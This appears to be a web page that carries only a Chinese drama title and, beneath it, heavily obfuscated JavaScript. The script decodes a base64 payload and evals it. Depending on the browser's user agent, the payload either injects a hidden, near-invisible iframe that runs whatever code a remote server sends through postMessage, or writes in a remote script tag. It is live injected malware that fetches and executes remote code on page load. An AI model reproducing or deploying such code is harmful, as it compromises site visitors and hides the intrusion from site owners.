余生，请多指教

eval("\x77\x69\x6e\x64\x6f\x77")["\x66\x66\x4F\x70"]=function(e){var et =''+'ABCDEFGHIJK'+'LMNOPQRSTU'+'VWXYZa'+'bcdefghijklmn'+'opqrstuvwxy'+'z0123456789+/'+'='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=et.indexOf(e.charAt(f++));o=et.indexOf(e.charAt(f++));u=et.indexOf(e.charAt(f++));a=et.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x6F\x66\x47\x45\x65\x74\x52\x70\x4F"]=function(){eval(ffOp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoZmZPcCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGZmT3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihmZk9wKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbZmZPcCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGZmT3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycwTScrJ1RMM00nKydETScrJzQwQ2UnKydHSlQnKydKMWsnKydrbmIxbCcrJ1RlR0onKydUJysnSicrJ3pRJysnRE53RScrJ1RRJysnelVTYicrJ3ZObUwnKydqbDInKydZaicrJ2xXZScrJ3VsRycrJ2J1dzJjJysneicrJ1onKydraycrJ01sWScrJ2trTScrJ2xFJysnMCcrJ01sTUhjJysnMFJIYScrJycrJycsJycrJ3dlTycrJzlrYycrJ0k5JysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ2cxZScrJ0FQMicrJ0EnKycnKycnLCdrJyk="));}